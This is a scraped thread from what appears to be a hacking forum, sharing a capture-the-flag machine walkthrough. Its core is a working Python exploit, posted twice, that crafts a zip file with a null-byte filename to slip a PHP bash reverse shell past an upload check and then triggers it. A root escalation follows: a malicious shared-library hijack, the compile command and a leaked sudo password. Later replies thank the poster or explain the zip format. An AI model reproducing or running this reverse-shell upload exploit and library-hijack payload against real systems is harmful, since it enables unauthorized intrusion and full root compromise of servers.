cd += b'\x48\xb9' # modtime
cd += b'\x1b\x57' # moddate
cd += pack("<L", crc) # crc
cd += pack("<L", length) # compressed size
cd += pack("<L", length) # uncompressed size
cd += pack("<H", len(filename2)) # filename len
cd += b'\x00\x00' # extra field len
cd += b'\x00\x00' # file comm. len
cd += b'\x00\x00' # disk start
cd += b'\x00\x00' # internal attr.
cd += b'\x00\x00\xA4\x81' # external attr
cd += b'\x00\x00\x00\x00' # offset of local header
cd += filename2

# end of centryl directory record
ecd  = b''
ecd += b'\x50\x4b\x05\x06' # magic bytes
ecd += b'\x00\x00' # disk number
ecd += b'\x00\x00' # disc # w/cd
ecd += b'\x01\x00' # disc entries
ecd += b'\x01\x00' # total entries
ecd += pack("<L", len(cd)) # central directory size
ecd += pack("<L", len(p))
ecd += b'\x00\x00'

f = open("rev.zip", "wb")
f.write(p+cd+ecd)
f.close()

url = "http://{}/upload.php".format(args.target_ip)
headers = {"Content-Type":'multipart/form-data'}
files = {'submit':(None,''),'zipFile':('rev.zip',p+cd+ecd)}
resp = requests.post(url, files=files)

for line in resp.text.split('\n'):
    if 'uploads' in line:
        requests.get("http://{}/{}".format(args.target_ip,line.split('"')[1].split(" ")[0]))
        exit(0)

-----------------

for privesc, you can see the binary /usr/bin/stock, when you call "sudo -l"
you can reverse engineer the binary and find the password and find that it loads the shared object from /home/rektsu/.config/libcounter.so
to exploit, you need to create malicious libcounter.so binary

example code (filename: exploit.c):

#include <unistd.h>

void begin (void) __attribute__((destructor));

void begin (void) {
    system("bash -p");
}

compile the code like this on the target machine:
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC exploit.c

then you can run the binary with sudo:
sudo /usr/bin/stock
# password: St0ckM4nager

press 3 to exit and you get root shell

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Spamming | Contact us via http://breached4wtyw5fb45zj7sggnoazgv3aohme2zftkrndhvo76d5q5uad.onion/misc.php?action=help&hid=27 if you feel this is incorrect.
Reply
#4
(Aug 28, 2023, 06:37 AM)randomname188 Wrote: i wrote a script to get reverse shell for user.
start nc port 9001 and then run like this: python script.py -L <your-IP> -R <target-IP>

from struct import pack
import argparse
import zlib
import requests

parser = argparse.ArgumentParser(description='Exploit Zipper')
parser.add_argument('-L', '--listener_ip', help='listener ip')
parser.add_argument('-R', '--target_ip', help='target ip')
args = parser.parse_args()

filename1 = b'rev.php.pdf'
filename2 = b'rev.php\x00.pdf'

filecontent = b"""<?php system("bash -c 'bash -i >& /dev/tcp/"""+args.listener_ip.encode()+b"""/9001 0>&1'"); ?>"""
length = len(filecontent)
crc = zlib.crc32(filecontent)


p  = b''
p += b'\x50\x4b\x03\x04' # magic bytes
p += b'\x14\x00' # version
p += b'\x00\x00' # flags
p += b'\x00\x00' # compression
p += b'\x48\xb9' # modtime
p += b'\x1b\x57' # moddate
p += pack("<L", crc) # crc
p += pack("<L", length) # compressed size
p += pack("<L", length) # uncompressed size
p += pack("<H", len(filename1)) # filename len
p += b'\x00\x00' # extra field len
p += filename1
p += filecontent

# central directory
cd  = b''
cd += b'\x50\x4b\x01\x02' # magic bytes
cd += b'\x14\x03' # version
cd += b'\x14\x00' # version needed
cd += b'\x00\x00' # flags
cd += b'\x00\x00' # compression
cd += b'\x48\xb9' # modtime
cd += b'\x1b\x57' # moddate
cd += pack("<L", crc) # crc
cd += pack("<L", length) # compressed size
cd += pack("<L", length) # uncompressed size
cd += pack("<H", len(filename2)) # filename len
cd += b'\x00\x00' # extra field len
cd += b'\x00\x00' # file comm. len
cd += b'\x00\x00' # disk start
cd += b'\x00\x00' # internal attr.
cd += b'\x00\x00\xA4\x81' # external attr
cd += b'\x00\x00\x00\x00' # offset of local header
cd += filename2

# end of centryl directory record
ecd  = b''
ecd += b'\x50\x4b\x05\x06' # magic bytes
ecd += b'\x00\x00' # disk number
ecd += b'\x00\x00' # disc # w/cd
ecd += b'\x01\x00' # disc entries
ecd += b'\x01\x00' # total entries
ecd += pack("<L", len(cd)) # central directory size
ecd += pack("<L", len(p))
ecd += b'\x00\x00'

f = open("rev.zip", "wb")
f.write(p+cd+ecd)
f.close()

url = "http://{}/upload.php".format(args.target_ip)
headers = {"Content-Type":'multipart/form-data'}
files = {'submit':(None,''),'zipFile':('rev.zip',p+cd+ecd)}
resp = requests.post(url, files=files)

for line in resp.text.split('\n'):
    if 'uploads' in line:
        requests.get("http://{}/{}".format(args.target_ip,line.split('"')[1].split(" ")[0]))
        exit(0)

-----------------

for privesc, you can see the binary /usr/bin/stock, when you call "sudo -l"
you can reverse engineer the binary and find the password and find that it loads the shared object from /home/rektsu/.config/libcounter.so
to exploit, you need to create malicious libcounter.so binary

example code (filename: exploit.c):

#include <unistd.h>

void begin (void) __attribute__((destructor));

void begin (void) {
    system("bash -p");
}

compile the code like this on the target machine:
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC exploit.c

then you can run the binary with sudo:
sudo /usr/bin/stock
# password: St0ckM4nager

press 3 to exit and you get root shell

Hi there, I'm currently writing an autopwn script that handles everything internally without needing to start external listener Smile
I started writing it 30 minutes ago and I'm almost done... stay tuned, gonna update the post soon Smile

Still thanks for sharing your script, appreciate it Big Grin
Reply
#5
Heey, thanks a lot!

I need some help understanding the exploit.

From your code, here's what I could understand / get: you basically added the php rev shell file, then added a weird format that doesn't exist with a null byte to bypass the .pdf check, then added an 'empty' zip .... can you please explain what was done?
Reply
#6
(Aug 28, 2023, 05:33 PM)PK6CfvT8 Wrote: Heey, thanks a lot!

I need some help understanding the exploit.

From your code, here's what I could understand / get:  you basically added the php rev shell file, then added a weird format that doesn't exist with a null byte to bypass the .pdf check, then added an 'empty' zip .... can you please explain what was done?

i followed the zip format: https://users.cs.jmu.edu/buchhofp/forens...pkzip.html
also: if you create a zipfile and look at it in a hexeditor, you can see the format described in the website and in my code
I did not add anything special, I just followed the format and changed the second filename to include a nullbyte

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Spamming | Contact us via http://breached4wtyw5fb45zj7sggnoazgv3aohme2zftkrndhvo76d5q5uad.onion/misc.php?action=help&hid=27 if you feel this is incorrect.
Reply
#7
this one was kind of easy-to-medium. nice writeup, thnx
Reply
#8
Thanks for the share
Reply
#9
Thank you very much!
This helped me a lot
Reply
#10
thank you! Very appreciate the help!!

thank you SOOOO much
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] My personal writeups repository, Hospital included agoi 84 22,782 5 minutes ago
Last Post: Art10n
  Wonky AES {Insane} HackTheBox Challenge 09ft 4 1,830 12 minutes ago
Last Post: Art10n
  Heapify and Quantum memory manager flags - HTB osamy7593 4 1,738 15 minutes ago
Last Post: Art10n
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 445 113,079 19 minutes ago
Last Post: Art10n
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 141 27,355 1 hour ago
Last Post: walterwhite33

Forum Jump:


 Users browsing this forum: 1 Guest(s)